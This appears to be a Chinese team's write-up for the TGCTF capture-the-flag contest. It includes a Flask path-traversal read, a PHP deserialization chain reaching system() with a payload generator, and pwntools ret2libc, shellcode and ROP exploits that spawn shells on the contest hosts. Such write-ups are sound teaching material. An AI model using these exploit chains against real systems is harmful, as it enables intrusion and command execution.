这次是和徐师傅,顾师傅,梁师傅一起打的,各方向都写在一起了,距离五十名只差一步之遥,还是我技术不够精湛的原因
Web
这次TGCTF Web方面给了我很大的挫败感,感觉对很多知识的了解都非常浅薄,一直做不出题,还是要下苦功夫精进技术
火眼辩魑魅
这道题很简单的签到题,dirsearch 扫一下得到几个文件路径,真正能打通的是 shell.php ,直接蚁剑连接,在根目录下找到 flag
AAA偷渡阴平
无参RCE
可以看看这篇
直面天命
这道题很好玩
一开始看出来是 SSTI ,但是拼尽全力无法注入。
F12看网页源码,提示不止一个路由,进 /hint 看看
提示有四个字母的路由,写个脚本爆破一下:
python
# 路由爆破脚本
import sys
import requests
import argparse
from concurrent.futures import ThreadPoolExecutor, as_completed
from itertools import product
def generate_four_letter_paths():
"""生成所有四个小写字母的组合(如 aaaa, aaab, ..., zzzz)"""
letters = 'abcdefghijklmnopqrstuvwxyz'
for chars in product(letters, repeat=4):
yield ''.join(chars)
def check_url(base_url, path, results):
full_url = f"{base_url}/{path}"
try:
response = requests.get(
full_url,
timeout=3,
headers={'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0'},
allow_redirects=False # 避免重定向干扰状态码判断
)
if response.status_code == 200:
results.append(full_url)
print(f"[+] {full_url} - {response.status_code}")
except requests.exceptions.RequestException as e:
pass # 忽略超时、连接错误等异常
def main():
parser = argparse.ArgumentParser(description='四字母路径爆破工具')
parser.add_argument('target', help='目标URL(如 http://example.com)')
parser.add_argument('-t', '--threads', type=int, default=50,
help='线程数(默认50)')
parser.add_argument('-o', '--output', help='输出结果文件')
args = parser.parse_args()
base_url = args.target.rstrip('/')
results = []
# 生成所有四个小写字母的组合
paths = generate_four_letter_paths()
with ThreadPoolExecutor(max_workers=args.threads) as executor:
futures = []
for path in paths:
futures.append(executor.submit(check_url, base_url, path, results))
# 实时更新进度(可选)
total = 26 ** 4 # 总共有26^4=456,976种组合
completed = 0
for _ in as_completed(futures):
completed += 1
if completed % 1000 == 0:
print(f"进度:{completed}/{total}", end='\r')
print("\n爆破完成!找到以下有效路径:")
for url in results:
print(url)
if args.output:
with open(args.output, 'w') as f:
for url in results:
f.write(f"{url}\n")
print(f"结果已保存到 {args.output}")
if __name__ == '__main__':
print("警告:请确保您已获得目标网站的合法授权!")
main()
爆破出 /aazz 路由,进去 F12 看看,说是可以传参看源码(又要爆吗 QAQ ),后面问出题人说可以传 filename ,
然后GET传 filename=../app.py 看看源码(提示看源码)
源码:
python
import os
import string
from flask import Flask, request, render_template_string, jsonify, send_from_directory
from a.b.c.d.secret import secret_key # 潜在风险:secret_key可能暴露在源码中
app = Flask(__name__)
# 安全风险:黑名单不完整,可能被绕过
black_list = ['{', '}', 'popen', 'os', 'import', 'eval', '_', 'system', 'read', 'base', 'globals']
def waf(name):
"""基础WAF过滤"""
for x in black_list:
if x in name.lower():
return True
return False
def is_typable(char):
"""检查字符是否可打印"""
typable_chars = string.ascii_letters + string.digits + string.punctuation + string.whitespace
return char in typable_chars
@app.route('/')
def home():
"""首页路由"""
return send_from_directory('static', 'index.html')
@app.route('/jingu', methods=['POST'])
def greet():
"""核心处理路由(存在严重漏洞)"""
template1 = ""
template2 = ""
name = request.form.get('name')
template = f'{name}'
# WAF过滤
if waf(name):
template = '想干坏事了是吧hacker?哼,还天命人,可笑,可悲,可叹\nImage'
else:
# 检查字符是否可打印
k = 0
for i in name:
if not is_typable(i):
k = 1
break
if k == 1:
# 检查是否包含secret_key前缀(逻辑缺陷)
if not (secret_key[:2] in name and secret_key[2:]):
return render_template_string('连“六根”都凑不齐,谈什么天命不天命的,还是戴上这金箍吧\n\n再去西行历练历练\nImage')
# 模板注入漏洞:替换为{{}}语法
template1 = "“六根”也凑齐了,你已经可以直面天命了!我帮你把“secret_key”替换为了“{{}}”\n最后,如果你用了cat,就可以见到齐天大圣了\n"
template = template.replace("直面", "{{").replace("天命", "}}")
# 检查cat关键词
if "cat" in template:
template2 = '\n或许你这只叫天命人的猴子,真的能做到?\nImage'
# 渲染模板(存在注入风险)
try:
return template1 + render_template_string(template) + render_template_string(template2)
except Exception as e:
return f"500报错了,查询语句如下:\n{template}", 400
@app.route('/hint', methods=['GET'])
def hinter():
"""提示路由"""
return render_template_string("hint:\n有一个由4个小写英文字母组成的路由,去那里看看吧,天命人!")
@app.route('/aazz', methods=['GET'])
def finder():
"""文件读取路由(存在路径遍历漏洞)"""
filename = request.args.get('filename', '')
# 初始处理
if not filename:
return send_from_directory('static', 'file.html')
# 文件名检查(逻辑错误:原代码存在语法问题)
if not filename.replace('_', '').isalnum():
return jsonify({'error': '只允许字母和数字!'}), 400
# 路径遍历漏洞:直接使用用户输入的filename
if os.path.isfile(filename):
try:
with open(filename, 'r') as file:
content = file.read()
return content
except Exception as e:
return jsonify({'error': str(e)}), 500
else:
return jsonify({'error': '路径不存在或者路径非法'}), 404
if __name__ == '__main__':
app.run(host='0.0.0.0', port=80)
这道题本来是考SSTI的,但怎么都绕不过防火墙,但有非预期解
我们知道 /aazz 目录下可以传参读取文件的
我们直接读flag:
Payload:
http://node1.tgctf.woooo.tech:30904/aazz?filename=flag
读到flag
直面天命(复仇)
这道题我没做出来,把源码放在这方便后面复现
复仇直接ban了传参读文件功能,直接回显源码:
python
import os
import string
from flask import Flask, request, render_template_string, jsonify, send_from_directory
from a.b.c.d.secret import secret_key
app = Flask(__name__)
black_list=['lipsum','|','%','{','}','map','chr', 'value', 'get', "url", 'pop','include','popen','os','import','eval','_','system','read','base','globals','_.','set','application','getitem','request', '+', 'init', 'arg', 'config', 'app', 'self']
def waf(name):
for x in black_list:
if x in name.lower():
return True
return False
def is_typable(char):
# 定义可通过标准 QWERTY 键盘输入的字符集
typable_chars = string.ascii_letters + string.digits + string.punctuation + string.whitespace
return char in typable_chars
@app.route('/')
def home():
return send_from_directory('static', 'index.html')
@app.route('/jingu', methods=['POST'])
def greet():
template1=""
template2=""
name = request.form.get('name')
template = f'{name}'
if waf(name):
template = '想干坏事了是吧hacker?哼,还天命人,可笑,可悲,可叹
Image'
else:
k=0
for i in name:
if is_typable(i):
continue
k=1
break
if k==1:
if not (secret_key[:2] in name and secret_key[2:]):
template = '连“六根”都凑不齐,谈什么天命不天命的,还是戴上这金箍吧
再去西行历练历练
Image'
return render_template_string(template)
template1 = "“六根”也凑齐了,你已经可以直面天命了!我帮你把“secret_key”替换为了“{{}}”
最后,如果你用了cat,就可以见到齐天大圣了
"
template= template.replace("天命","{{").replace("难违","}}")
template = template
if "cat" in template:
template2 = '
或许你这只叫天命人的猴子,真的能做到?
Image'
try:
return template1+render_template_string(template)+render_template_string(template2)
except Exception as e:
error_message = f"500报错了,查询语句如下:
{template}"
return error_message, 400
@app.route('/hint', methods=['GET'])
def hinter():
template="hint:
有一个aazz路由,去那里看看吧,天命人!"
return render_template_string(template)
@app.route('/aazz', methods=['GET'])
def finder():
with open(__file__, 'r') as f:
source_code = f.read()
return f"
{source_code}
", 200, {'Content-Type': 'text/html; charset=utf-8'}
if __name__ == '__main__':
app.run(host='0.0.0.0', port=80)
很难绕的 SSTI 一直在爆500错误
什么文件上传?
打开以为是文件上传,但是传什么文件都不行,F12看一眼,提示“机器人是什么”
到robots协议里看一眼:
User-Agent: *
Disallow: /admin/
Disallow: /private/
Disallow: /baidu
Disallow: /s?
Disallow: /unlink
Disallow: /phar
Disallow: !@*($^&*!@^&!*(@$# <--!文件上传后缀是三个小写字母 !@#$*&^(!%@#$#^&!-->
Disallow: /class.php
进 class.php
发现是PHP反序列化:
php
<?php
highlight_file(__FILE__);
error_reporting(0);
function best64_decode($str)
{
return base64_decode(base64_decode(base64_decode(base64_decode(base64_decode($str)))));
}
class yesterday {
public $learn;
public $study="study";
public $try;
public function __construct()
{
$this->learn = "learn<br>";
}
public function __destruct()
{
echo "You studied hard yesterday.<br>";
return $this->study->hard();
}
}
class today {
public $doing;
public $did;
public $done;
public function __construct(){
$this->did = "What you did makes you outstanding.<br>";
}
public function __call($arg1, $arg2)
{
$this->done = "And what you've done has given you a choice.<br>";
echo $this->done;
if(md5(md5($this->doing))==666){
return $this->doing();
}
else{
return $this->doing->better;
}
}
}
class tommoraw {
public $good;
public $bad;
public $soso;
public function __invoke(){
$this->good="You'll be good tommoraw!<br>";
echo $this->good;
}
public function __get($arg1){
$this->bad="You'll be bad tommoraw!<br>";
}
}
class future{
private $impossible="How can you get here?<br>";
private $out;
private $no;
public $useful1;public $useful2;public $useful3;public $useful4;public $useful5;public $useful6;public $useful7;public $useful8;public $useful9;public $useful10;public $useful11;public $useful12;public $useful13;public $useful14;public $useful15;public $useful16;public $useful17;public $useful18;public $useful19;public $useful20;
public function __set($arg1, $arg2) {
if ($this->out->useful7) {
echo "Seven is my lucky number<br>";
system('whoami');
}
}
public function __toString(){
echo "This is your future.<br>";
system($_POST["wow"]);
return "win";
}
public function __destruct(){
$this->no = "no";
return $this->no;
}
}
if (file_exists($_GET['filename'])){
echo "Focus on the previous step!<br>";
}
else{
$data=substr($_GET['filename'],0,-4);
unserialize(best64_decode($data));
}
// You learn yesterday, you choose today, can you get to your future?
?>
要解决这道题,需要构造一个反序列化链,触发future类的__toString方法以执行任意命令。
步骤解析
1.触发析构函数:
当yesterday对象被销毁时,其__destruct方法会调用$this->study->hard()。 将yesterday的study属性设为today对象,触发today的__call方法。2.调用魔术方法:
today的__call方法在调用不存在的方法(如hard)时触发。 此时会检查$this->doing的两次MD5哈希是否等于666。3.绕过条件检查:
即使条件不满足,只要$this->doing是future对象,在计算MD5时会将其转换为字符串,触发__toString方法。 future的__toString执行system($_POST['wow']),直接执行任意命令。
Payload 生成代码:
php
<?php
class yesterday { public $study; }
class today { public $doing; }
class future {}
$future = new future();
$today = new today();
$today->doing = $future;
$yesterday = new yesterday();
$yesterday->study = $today;
$payload = serialize($yesterday);
for ($i = 0; $i < 5; $i++) {
$payload = base64_encode($payload);
}
echo $payload . '.txt'; // 触发反序列化
?>
GET方式传Payload,POST方式传递命令wow=cat /flag
得到flag
PWN
- 签到
保护只开了NX,ret2libc
c
int __fastcall main(int argc, const char **argv, const char **envp)
{
char v4[112]; // [rsp+0h] [rbp-70h] BYREF
setbuf(stdin, 0LL);
setbuf(_bss_start, 0LL);
setbuf(stderr, 0LL);
puts(
"As a student who has been learning pwn for half a year\n"
"basic ROP is an essential skill that everyone should master. \n"
"Therefore, hurry up and complete the check-in. \n"
"Welcome to the Hangzhou Normal University CTF competition, please leave your name.");
gets(v4);
return 0;
}
先泄露puts地址得到基址再调用system
python
from pwn import*
#p=process("./pwn")
p=remote("node1.tgctf.woooo.tech",30372)
elf=ELF("./pwn")
libc=ELF("./libc.so.6")
puts_plt=elf.plt["puts"]
puts_got=elf.got["puts"]
pop_rdi_ret=0x401176
ret=0x40101a
main=0x401178
p.recvuntil(b"name.")
pl1=b'a'*0x78+p64(pop_rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(main) #0x70
p.sendline(pl1)
puts_addr=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print(hex(puts_addr)) #0x7fe6ca5e2e50
libcbase=puts_addr-libc.symbols["puts"]
print(hex(libcbase)) #0x7fe6ca562000
system=libcbase+libc.symbols["system"]
binsh=libcbase+next(libc.search(b"/bin/sh"))
pl2=b'a'*0x78+p64(ret)+p64(pop_rdi_ret)+p64(binsh)+p64(system)
#pl2=b'a'*0x78+p64(pop_rdi_ret)+p64(binsh)+p64(system)
p.sendline(pl2)
p.interactive()
- shellcode
pl1:
(调用mprotect修改权限,再调用) mov dl,7 mov sil,0xff mov al,0xa syscall (调用read,将要向缓冲区读取shellcode) xor edi,edi xor edx,esi xchg rsi,rcx syscall
pl2:
nop*0x10
add rsi,0x20f mov rsp,rsi
shellcode
python
from pwn import *
#p=process('./pwn')
context(log_level='debug',arch='amd64',os='linux')
p=remote("node2.tgctf.woooo.tech",32130)
#shellcode="\x99\x48\xBF\x2F\x62\x69\x6E\x2F\x2F\x73\x68\x57\x48\x89\xE7\xB0\x3B\x0F\x05"
#shellcode="\x48\x87\xFC\xBF\x73\x68\x00\x00\x57\x54\x5F\xB0\x3B\x0F\x05"
pl1="\xB2\x07\x40\xB6\xFF\xB0\x0A\x0F\x05\x31\xFF\x31\xF2\x48\x87\xCE\x0F\x05"
p.send(pl1)
pause()
pl2=b"\x90"*0x10+b"\x48\x81\xC6\x0F\x02\x00\x00\x48\x89\xF4"+asm(shellcraft.sh())
p.send(pl2)
p.interactive()
- overflow
题目在ret之前通过lea esp, [ebp-8] pop ecx lea esp, [ecx-4]调整了栈帧,因此我们通过溢出将rsp控制到bss段,在bss段写入rop
python
from pwn import *
context(log_level='debug',os='linux')
p=process("./pwn")
#p=remote("node1.tgctf.woooo.tech",31248)
eax_add=0x80b470a
ebx_add=0x08049022
ecx_add=0x08049802
edx_add=0x08060bd1
int80=0x08049c6a
name=0x080EF320
gdb.attach(p)
pause()
p.recvuntil(b"me?")
p.send(b"/bin/sh\x00"+b'a'*8+p32(ebx_add)+p32(name)+p32(ecx_add)+p32(0)+p32(edx_add)+p32(0)+p32(eax_add)+p32(0xb)+p32(int80))
p.recvuntil("right?")
pl=b'a'*200+p32(0x080EF334)
p.sendline(pl)
p.interactive()
Reverse
deepseek用得好,逆向工程难不倒(bushi)
Base64
题目提示是base64算法,进IDA看看伪C
c
nt __fastcall main(int argc, const char **argv, const char **envp)
{
char *v3; // rbx
__int64 v4; // rcx
void *v5; // rbx
char Destination[16]; // [rsp+20h] [rbp-28h] BYREF
sub_140001020("Welcome to HZNUCTF!!!\n");
sub_140001020("Plz input your flag:\n");
v3 = (char *)malloc('*');
sub_140001080("%s");
v4 = -1i64;
do
++v4;
while ( v3[v4] );
if ( v4 == 41 )
{
strncpy_s(Destination, 9ui64, v3, 8ui64);
Destination[8] = 0;
if ( !strcmp(Destination, "HZNUCTF{") )
{
v5 = (void *)sub_1400010E0(v3);
if ( !strcmp((const char *)v5, "AwLdOEVEhIWtajB2CbCWCbTRVsFFC8hirfiXC9gWH9HQayCJVbB8CIF=") )
{
sub_140001020("Congratulation!!!");
free(v5);
exit(1);
}
sub_140001020("wrong_wrong!!!");
free(v5);
exit(1);
}
sub_140001020("wrong head!!!");
free(v3);
exit(1);
}
sub_140001020("wrong len!!!");
free(v3);
return 0;
}
进sub_1400010E0看看
c
_BYTE *__fastcall sub_1400010E0(__int64 a1)
{
__int64 v2; // rbx
__int64 v3; // rbp
int v4; // edx
int v5; // edi
int v6; // edx
__int64 v7; // r14
size_t v8; // rcx
_BYTE *v9; // r8
__int64 v10; // r9
unsigned __int64 v11; // rdx
int v12; // ecx
unsigned int v13; // ecx
unsigned int v14; // eax
int v15; // eax
int v16; // eax
int v17; // eax
int v18; // edi
__int64 v19; // rdx
int v20; // eax
int v21; // eax
int v22; // ecx
unsigned int v23; // edx
int v24; // ecx
int v25; // eax
int v26; // ecx
unsigned int v27; // ecx
unsigned int v28; // eax
char v30[80]; // [rsp+20h] [rbp-68h] BYREF
int v31; // [rsp+90h] [rbp+8h]
v2 = -1i64;
strcpy(v30, "GLp/+Wn7uqX8FQ2JDR1c0M6U53sjBwyxglmrCVdSThAfEOvPHaYZNzo4ktK9iebI");
do
++v2;
while ( *(_BYTE *)(a1 + v2) );
v3 = 0i64;
v4 = (int)v2 / 3;
if ( (_DWORD)v2 == 3 * ((int)v2 / 3) )
{
v5 = 0;
v6 = 4 * v4;
}
else if ( (int)v2 % 3 == 1 )
{
v5 = 1;
v6 = 4 * v4 + 4;
}
else if ( (int)v2 % 3 == 2 )
{
v5 = 2;
v6 = 4 * v4 + 4;
}
else
{
v5 = v31;
v6 = v31;
}
v7 = v6;
v8 = v6 + 1i64;
if ( v6 == -1i64 )
v8 = -1i64;
v9 = malloc(v8);
if ( (int)v2 - v5 > 0 )
{
v10 = a1 + 2;
v11 = ((int)v2 - v5 - 1i64) / 3ui64 + 1;
do
{
v3 += 4i64;
v12 = *(unsigned __int8 *)(v10 - 2) >> 2;
v10 += 3i64;
v13 = v12 + 24;
v14 = v13 - 64;
if ( v13 <= 0x40 )
v14 = v13;
v9[v3 - 4] = v30[v14];
v15 = ((*(unsigned __int8 *)(v10 - 4) >> 4) | (16 * (*(_BYTE *)(v10 - 5) & 3))) - 40;
if ( ((*(unsigned __int8 *)(v10 - 4) >> 4) | (16 * (*(_BYTE *)(v10 - 5) & 3u))) + 24 <= 0x40 )
v15 = ((*(unsigned __int8 *)(v10 - 4) >> 4) | (16 * (*(_BYTE *)(v10 - 5) & 3))) + 24;
v9[v3 - 3] = v30[v15];
v16 = ((*(unsigned __int8 *)(v10 - 3) >> 6) | (4 * (*(_BYTE *)(v10 - 4) & 0xF))) - 40;
if ( ((*(unsigned __int8 *)(v10 - 3) >> 6) | (4 * (*(_BYTE *)(v10 - 4) & 0xFu))) + 24 <= 0x40 )
v16 = ((*(unsigned __int8 *)(v10 - 3) >> 6) | (4 * (*(_BYTE *)(v10 - 4) & 0xF))) + 24;
v9[v3 - 2] = v30[v16];
v17 = (*(_BYTE *)(v10 - 3) & 0x3F) - 40;
if ( (*(_BYTE *)(v10 - 3) & 0x3Fu) + 24 <= 0x40 )
v17 = (*(_BYTE *)(v10 - 3) & 0x3F) + 24;
v9[v3 - 1] = v30[v17];
--v11;
}
while ( v11 );
}
v18 = v5 - 1;
if ( !v18 )
{
v25 = (*(unsigned __int8 *)((int)v2 + a1 - 1) >> 2) - 40;
if ( (*(unsigned __int8 *)((int)v2 + a1 - 1) >> 2) + 24 <= 0x40u )
v25 = (*(unsigned __int8 *)((int)v2 + a1 - 1) >> 2) + 24;
v9[v7 - 4] = v30[v25];
v26 = *(_BYTE *)((int)v2 + a1 - 1) & 3;
*(_WORD *)&v9[v7 - 2] = 15677;
v27 = 16 * v26 + 24;
v28 = v27 - 64;
if ( v27 <= 0x40 )
v28 = v27;
v9[v7 - 3] = v30[v28];
goto LABEL_37;
}
if ( v18 != 1 )
{
LABEL_37:
v9[v7] = 0;
return v9;
}
v19 = a1 + (int)v2;
v20 = (*(unsigned __int8 *)(v19 - 2) >> 2) - 40;
if ( (*(unsigned __int8 *)(v19 - 2) >> 2) + 24 <= 0x40u )
v20 = (*(unsigned __int8 *)(v19 - 2) >> 2) + 24;
v9[v7 - 4] = v30[v20];
v21 = ((*(unsigned __int8 *)(v19 - 1) >> 4) | (16 * (*(_BYTE *)(v19 - 2) & 3))) - 40;
if ( ((*(unsigned __int8 *)(v19 - 1) >> 4) | (16 * (*(_BYTE *)(v19 - 2) & 3u))) + 24 <= 0x40 )
v21 = ((*(unsigned __int8 *)(v19 - 1) >> 4) | (16 * (*(_BYTE *)(v19 - 2) & 3))) + 24;
v9[v7 - 3] = v30[v21];
v22 = *(_BYTE *)(v19 - 1) & 0xF;
*(_WORD *)&v9[v7 - 1] = 61;
v23 = 4 * v22 + 24;
v24 = 4 * v22 - 40;
if ( v23 <= 0x40 )
v24 = v23;
v9[v7 - 2] = v30[v24];
return v9;
}
我们看到魔改的base64编码表 GLp/+Wn7uqX8FQ2JDR1c0M6U53sjBwyxglmrCVdSThAfEOvPHaYZNzo4ktK9iebI
通过读源码我们得知,程序将输入的flag使用自定义的base64编码表进行加密,得到字符串 AwLdOEVEhIWtajB2CbCWCbTRVsFFC8hirfiXC9gWH9HQayCJVbB8CIF=
我们逆向逻辑编写脚本得到flag
python
import base64
def custom_b64decode(encoded_str):
# 自定义编码表
table = "GLp/+Wn7uqX8FQ2JDR1c0M6U53sjBwyxglmrCVdSThAfEOvPHaYZNzo4ktK9iebI"
# 创建解码字典:字符 -> (原始值 -24) mod 64
decode_table = {c: (i - 24) % 64 for i, c in enumerate(table)}
# 处理填充并分割成4字符一组
pad = 0
if encoded_str.endswith('=='):
pad = 2
encoded_str = encoded_str[:-2] + 'AA' # 替换填充为可处理的字符
elif encoded_str.endswith('='):
pad = 1
encoded_str = encoded_str[:-1] + 'A' # 替换填充
# 转换为二进制值列表
decoded_values = []
for c in encoded_str:
decoded_values.append(decode_table.get(c, 0)) # 未知字符视为0
# 将4个6位值转换为3个字节
result = bytearray()
for i in range(0, len(decoded_values), 4):
chunk = decoded_values[i:i + 4]
if len(chunk) < 4:
chunk += [0] * (4 - len(chunk))
# 合并成24位整数
val = (chunk[0] << 18) | (chunk[1] << 12) | (chunk[2] << 6) | chunk[3]
# 拆分为3字节
bytes_group = [
(val >> 16) & 0xFF,
(val >> 8) & 0xFF,
val & 0xFF
]
# 处理填充截断
if i == len(decoded_values) - 4:
if pad == 1:
bytes_group = bytes_group[:2]
elif pad == 2:
bytes_group = bytes_group[:1]
result.extend(bytes_group)
return bytes(result)
# 目标加密后的Base64字符串
encoded = "AwLdOEVEhIWtajB2CbCWCbTRVsFFC8hirfiXC9gWH9HQayCJVbB8CIF="
flag = custom_b64decode(encoded)
print(flag)
得到flag
水果忍者
很熟悉的水果忍者小游戏,许多年之后,面对Unity逆向坐牢,我将会回想起,我在卧室偷偷用家长手机玩游戏的那个遥远的晚上(bushi)。
用 dnSpy打开,定位到 Assembly_CSharp -> GameManager
c#
using System;
using System.Collections;
using System.IO;
using System.Security.Cryptography;
using System.Text;
using UnityEngine;
using UnityEngine.UI;
// Token: 0x02000005 RID: 5
[DefaultExecutionOrder(-1)]
public class GameManager : MonoBehaviour
{
// Token: 0x17000003 RID: 3
// (get) Token: 0x06000013 RID: 19 RVA: 0x00002351 File Offset: 0x00000551
// (set) Token: 0x06000014 RID: 20 RVA: 0x00002358 File Offset: 0x00000558
public static GameManager Instance { get; private set; }
// Token: 0x17000004 RID: 4
// (get) Token: 0x06000015 RID: 21 RVA: 0x00002360 File Offset: 0x00000560
// (set) Token: 0x06000016 RID: 22 RVA: 0x00002368 File Offset: 0x00000568
public int score { get; private set; }
// Token: 0x06000017 RID: 23 RVA: 0x00002371 File Offset: 0x00000571
private void Awake()
{
if (GameManager.Instance != null)
{
Object.DestroyImmediate(base.gameObject);
return;
}
GameManager.Instance = this;
}
// Token: 0x06000018 RID: 24 RVA: 0x00002392 File Offset: 0x00000592
private void OnDestroy()
{
if (GameManager.Instance == this)
{
GameManager.Instance = null;
}
}
// Token: 0x06000019 RID: 25 RVA: 0x000023A7 File Offset: 0x000005A7
private void Start()
{
this.NewGame();
}
// Token: 0x0600001A RID: 26 RVA: 0x000023B0 File Offset: 0x000005B0
private void NewGame()
{
Time.timeScale = 1f;
this.ClearScene();
this.blade.enabled = true;
this.spawner.enabled = true;
this.score = 0;
this.scoreText.text = this.score.ToString();
if (this.decryptedTextDisplay != null)
{
this.decryptedTextDisplay.text = "";
}
}
// Token: 0x0600001B RID: 27 RVA: 0x00002424 File Offset: 0x00000624
private void ClearScene()
{
Fruit[] array = Object.FindObjectsOfType<Fruit>();
for (int i = 0; i < array.Length; i++)
{
Object.Destroy(array[i].gameObject);
}
Bomb[] array2 = Object.FindObjectsOfType<Bomb>();
for (int i = 0; i < array2.Length; i++)
{
Object.Destroy(array2[i].gameObject);
}
}
// Token: 0x0600001C RID: 28 RVA: 0x00002474 File Offset: 0x00000674
public void IncreaseScore(int points)
{
this.score += points;
this.scoreText.text = this.score.ToString();
if (this.score >= 999999999)
{
byte[] cipherText = this.ConvertHexStringToByteArray(GameManager.encryptedHexData);
string text = this.Decrypt(cipherText, GameManager.encryptionKey, GameManager.iv);
if (this.decryptedTextDisplay != null)
{
this.decryptedTextDisplay.text = text;
}
}
else if (this.decryptedTextDisplay != null)
{
this.decryptedTextDisplay.text = "";
}
float num = PlayerPrefs.GetFloat("hiscore", 0f);
if ((float)this.score > num)
{
num = (float)this.score;
PlayerPrefs.SetFloat("hiscore", num);
}
}
// Token: 0x0600001D RID: 29 RVA: 0x0000253C File Offset: 0x0000073C
private byte[] ConvertHexStringToByteArray(string hex)
{
int length = hex.Length;
byte[] array = new byte[length / 2];
for (int i = 0; i < length; i += 2)
{
array[i / 2] = Convert.ToByte(hex.Substring(i, 2), 16);
}
return array;
}
// Token: 0x0600001E RID: 30 RVA: 0x0000257C File Offset: 0x0000077C
private string Decrypt(byte[] cipherText, string key, string iv)
{
string result;
using (Aes aes = Aes.Create())
{
aes.Key = Encoding.UTF8.GetBytes(key);
aes.IV = Encoding.UTF8.GetBytes(iv);
aes.Mode = CipherMode.CBC;
aes.Padding = PaddingMode.PKCS7;
ICryptoTransform transform = aes.CreateDecryptor(aes.Key, aes.IV);
using (MemoryStream memoryStream = new MemoryStream(cipherText))
{
using (CryptoStream cryptoStream = new CryptoStream(memoryStream, transform, CryptoStreamMode.Read))
{
using (StreamReader streamReader = new StreamReader(cryptoStream))
{
result = streamReader.ReadToEnd();
}
}
}
}
return result;
}
// Token: 0x0600001F RID: 31 RVA: 0x00002658 File Offset: 0x00000858
public void Explode()
{
this.blade.enabled = false;
this.spawner.enabled = false;
base.StartCoroutine(this.ExplodeSequence());
}
// Token: 0x06000020 RID: 32 RVA: 0x0000267F File Offset: 0x0000087F
private IEnumerator ExplodeSequence()
{
float elapsed = 0f;
float duration = 0.5f;
while (elapsed < duration)
{
float num = Mathf.Clamp01(elapsed / duration);
this.fadeImage.color = Color.Lerp(Color.clear, Color.white, num);
Time.timeScale = 1f - num;
elapsed += Time.unscaledDeltaTime;
yield return null;
}
yield return new WaitForSecondsRealtime(1f);
this.NewGame();
elapsed = 0f;
while (elapsed < duration)
{
float t = Mathf.Clamp01(elapsed / duration);
this.fadeImage.color = Color.Lerp(Color.white, Color.clear, t);
elapsed += Time.unscaledDeltaTime;
yield return null;
}
yield break;
}
// Token: 0x0400000F RID: 15
[SerializeField]
private Blade blade;
// Token: 0x04000010 RID: 16
[SerializeField]
private Spawner spawner;
// Token: 0x04000011 RID: 17
[SerializeField]
private Text scoreText;
// Token: 0x04000012 RID: 18
[SerializeField]
private Image fadeImage;
// Token: 0x04000013 RID: 19
[Header("Decrypted Text Display")]
[SerializeField]
private Text decryptedTextDisplay;
// Token: 0x04000015 RID: 21
private static readonly string encryptionKey = "HZNUHZNUHZNUHZNU";
// Token: 0x04000016 RID: 22
private static readonly string iv = "0202005503081501";
// Token: 0x04000017 RID: 23
private static readonly string encryptedHexData = "cecadff28e93aa5d6f65128ae33e734d3f47b4b8a050d326c534a732d51b96e2a6a80dca0d5a704a216c2e0c3cc6aaaf";
}
看到是AES算法
encryptedHexData是硬编码的十六进制字符串,加密密钥和IV分别是”HZNUHZNUHZNUHZNU”和”0202005503081501”。
Decrypt方法使用了AES的CBC模式,填充方式是PKCS7。因此,解密时需要正确的密钥和IV,并且密文是经过十六进制编码的,需要先转换回字节数组。
加密数据:十六进制字符串cecadff28e93aa5d6f65128ae33e734d3f47b4b8a050d326c534a732d51b96e2a6a80dca0d5a704a216c2e0c3cc6aaaf。
编写脚本,使用密钥和IV对加密数据进行AES-CBC解密,并处理PKCS7填充。
python
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
# 加密数据(十六进制字符串)
encrypted_hex = "cecadff28e93aa5d6f65128ae33e734d3f47b4b8a050d326c534a732d51b96e2a6a80dca0d5a704a216c2e0c3cc6aaaf"
ciphertext = bytes.fromhex(encrypted_hex)
# 密钥和IV(UTF-8编码)
key = b'HZNUHZNUHZNUHZNU' # 16字节
iv = b'0202005503081501' # 16字节
# 创建AES解密器
cipher = AES.new(key, AES.MODE_CBC, iv=iv)
# 解密并去除填充
plaintext = unpad(cipher.decrypt(ciphertext), AES.block_size)
# 输出解密结果
print("解密后的明文:", plaintext.decode('utf-8'))
Crypto
AAAAAAAA·真·签到
题目:
给你flag签个到好了
UGBRC{RI0G!O04_5C3_OVUI_DV_MNTB}
诶,我的flag怎么了????
好像字母对不上了
我的签到怎么办呀,急急急
听说福来阁好像是TGCTF开头的喔
比较错误前缀UGBRC与正确前缀TGCTF,发现每个字母的移位量依次为-1, 0, +1, +2, +3,即第i个字符(从0开始)移位量为i-1。
原字符串:
0:U,1:G,2:B,3:R,4:C,5:{,6:R,7:I,8:0,9:G,10:!,11:O,12:0,13:4,14:_,15:5,16:C,17:3,18:_,19:O,20:V,21:U,22:I,23:_,24:D,25:V,26:_,27:M,28:N,29:T,30:B,31:}
对于每个字母字符,移位量是其位置i减1。例如:
i=0:U →移位-1 →T
i=1:G →0 →G
i=2:B →+1 →C
i=3:R →+2 →T
i=4:C →+3 →F
i=6:R →i=6 →移位5 →R+5=W
i=7:I →移位6 →I+6=O
i=9:G →i=9 →移位8 →G+8=O
i=11:O →i=11 →移位10 →O+10=Y
i=16:C →i=16 →移位15 →C+15=R
i=19:O →i=19 →移位18 →O+18= (O是第14个字母,A=0的话,14+18=32 →32 mod26=6 →G)
i=20:V →i=20 →移位19 →V+19= (V是21 →21+19=40 →40 mod26=14 →O)
i=21:U →i=21 →移位20 →U+20= (20+20=40 mod26=14 →O)
i=22:I →i=22 →移位21 →I+21= (8+21=29 mod26=3 →D)
i=24:D →i=24 →移位23 →D+23= (3+23=26 mod26=0 →A)
i=25:V →i=25 →移位24 →V+24= (21+24=45 mod26=19 →T)
i=27:M →i=27 →移位26 →M+26= (12+26=38 mod26=12 →M)
i=28:N →i=28 →移位27 →N+27= (13+27=40 mod26=14 →O)
i=29:T →i=29 →移位28 →T+28= (19+28=47 mod26=21 →V)
i=30:B →i=30 →移位29 →B+29= (1+29=30 mod26=4 →E)
将这些转换后的字母代入原字符串,保持非字母字符不变:
TGCTF{ W O 0 O ! Y 0 4 _ 5 R 3 _ G O O D _ A T _ M O V E }
组合起来:
TGCTF{WO0O!Y04_5R3_GOOD_AT_MOVE}
费克特尔
直接分解n就行
mm不躲猫猫
第一组和第三组的n有一个公因数,于是就分解出来了
宝宝RSA
第一部分e是素数并且范围比较小直接爆破,第二部分e=3直接开3次根就得到flag
tRwSiAns
